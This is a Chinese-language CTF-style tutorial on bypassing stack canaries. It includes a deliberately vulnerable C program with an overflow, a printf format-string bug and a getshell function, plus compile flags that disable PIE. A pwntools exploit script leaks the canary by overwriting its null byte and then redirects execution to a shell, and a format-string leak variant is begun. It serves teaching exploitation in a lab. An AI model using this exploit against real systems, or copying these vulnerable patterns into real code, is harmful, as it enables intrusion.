覆盖00字符读出canary
原理
- canary的值设计为以0x00结尾,防止read,printf灯函数直接读出
- 通过栈溢出覆盖最低位的字节,从而获得canary
利用条件
- 存在read/printf等读出字符串的函数
- 可以两次栈溢出
- 第一次是覆盖00字节,得到canary
- 第二次是利用canary进行攻击
漏洞代码
#include <stdio.h>
#include <unistd.h>
#include <stdlib.h>
#include <string.h>
void getshell(void) {
system("/bin/sh");
}
void init() {
setbuf(stdin, NULL);
setbuf(stdout, NULL);
setbuf(stderr, NULL);
}
void vuln() {
char buf[100];
for(int i=0;i<2;i++){
read(0, buf, 0x200);
printf(buf);
}
}
int main(void) {
init();
puts("Hello Hacker!");
vuln();
return 0;
}
编译选项
- 这里需要修改caller的返回地址为getshell,所以需要知道getshell的地址,换而言之.text段不能随机化,所以不能开启PIE
- 栈虽不随机无所谓,所以ASLR开启也无妨
gcc a.c -no-pie -m32 -fstack-protector -z noexecstack -o a
EXP
'''offset
0x5655573a <vuln+24> mov DWORD PTR [ebp-0xc], eax ;$epb-0xc=0xffffd10c
canary: 0xffffd10c
0x56555756 <vuln+52> call 0x565554f0 <read@plt>
read@plt (
[sp + 0x0] = 0x00000000, //STDIN
[sp + 0x4] = 0xffffd0a8 → 0x00000001, //buf
[sp + 0x8] = 0x00000200 //num of char
)
0xffffd10c - 0xffffd0a8 = 100
'''
from pwn import *
context(os='linux', arch='i386', log_level='debug')
sh=process('a')
gdb.attach(sh)
offset=100
padding='A'*offset
sh.sendlineafter('Hello Hacker!\n', padding)
sh.recvuntil(padding)
canary=u32(sh.recv(numb=4))-ord('\n')
print('canary = '+hex(canary))
getshell=ELF('a').sym['getshell']
'''exp
'A'*4: $ebp of caller
canary+'A'*8: DWORD PTR [ebp-0xc], eax, actually, the canary take up 0xC byte
'''
exp=padding+p32(canary)+'A'*8+'A'*4+p32(getshell)
sh.send(exp)
sh.recv()
sh.interactive()
利用格式化字符串漏洞读出canary
原理
- 利用格式化字符串漏洞的任意读
- 由于canary的最低字节是0x00,所以不能用%s的格式当作字符串来读,而应该使用%p/%x等当作一个数来读